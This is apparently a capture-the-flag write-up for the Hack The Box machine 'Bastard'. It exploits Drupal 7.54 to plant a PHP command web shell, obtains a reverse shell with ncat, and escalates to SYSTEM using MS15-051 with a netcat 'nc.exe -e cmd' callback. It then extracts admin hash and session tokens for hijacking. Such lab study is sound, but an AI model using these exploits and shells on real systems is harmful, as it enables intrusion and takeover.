Looks like we have Drupal 7 hosted on the machine. Lets check if we can pull the exact version information. Nmap has provided CHANGELOG.txt, Install.txt file are accessible.

alt

Drupal version is 7.54 running on the machine.

Exploit - drupal 7​

searchsploit came up with an relevant exploit.
alt

fixing the 41564.php file with url, endpoint_path and data -> contains the php exploit

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'cybo.php',
    'data' => '<?php echo system($_REQUEST["cmd"]); ?>'
];

Failed to execute the code, the code uses php-curl library files.
alt

The exploit was successfully executed and generated session.json, user.json and written cybo.php file.

alt

We have code execution.
alt

systeminfo reveals that we are on Microsoft Windows Server 2008 R2 Datacenter
alt

Let move to burp so that we have better control over the requests we send
alt

Reverse shell​

Generate powershell reverse shell and submit the request.
alt

Capture the reverse shell with ncat
alt

The current user is nt authority\iusr and we get the user flag.

User Flag​

alt

Privilege Escalation​

Time to download sherlock and execute.

alt

Sherlock found two vulnerabilities on the machine MS15-051 and MS16-032

Exploit MS15-051​

Similar to htb-devel machine, htb-bastard is also exploitable and we apply the same approach. We download https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 and upload ms15-051x64.exe and nc.exe files. execute the following command in the powershell reverse shell we have.

ps> cmd /c 'ms15-051x64.exe "nc.exe -e cmd 10.10.14.15 9002"'

alt

Root Flag​

Session hijacking route​

Looking into the json files has more wealth of information.

user.json

{
    "uid": "1",
    "name": "admin",
    "mail": "drupal@hackthebox.gr",
    "theme": "",
    "created": "1489920428",
    "access": "1492102672",
    "login": 1660857975,
    "status": "1",
    "timezone": "Europe\/Athens",
    "language": "",
    "picture": null,
    "init": "drupal@hackthebox.gr",
    "data": false,
    "roles": {
        "2": "authenticated user",
        "3": "administrator"
    },
    "rdf_mapping": {
        "rdftype": [
            "sioc:UserAccount"
        ],
        "name": {
            "predicates": [
                "foaf:name"
            ]
        },
        "homepage": {
            "predicates": [
                "foaf:page"
            ],
            "type": "rel"
        }
    },
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"
}

Cracking the above would take lot of time if we don't have cracking station. So for now we will move on to session.json file.

session.json

{
    "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
    "session_id": "tKi5-kHOTCi2YAFZhRvM8PkHb6nvhofBBHByzanOCDU",
    "token": "_YZ5d9Kro9QJ0Tnei7tawhRfl-5AWg5j-YH9dpr7oqQ"
}

session hijacking​

Lets create a cookie and inject send a request.

Initially there is only one cookie. Let's edit the cookie and save it as the session_name and session_id from session.json file
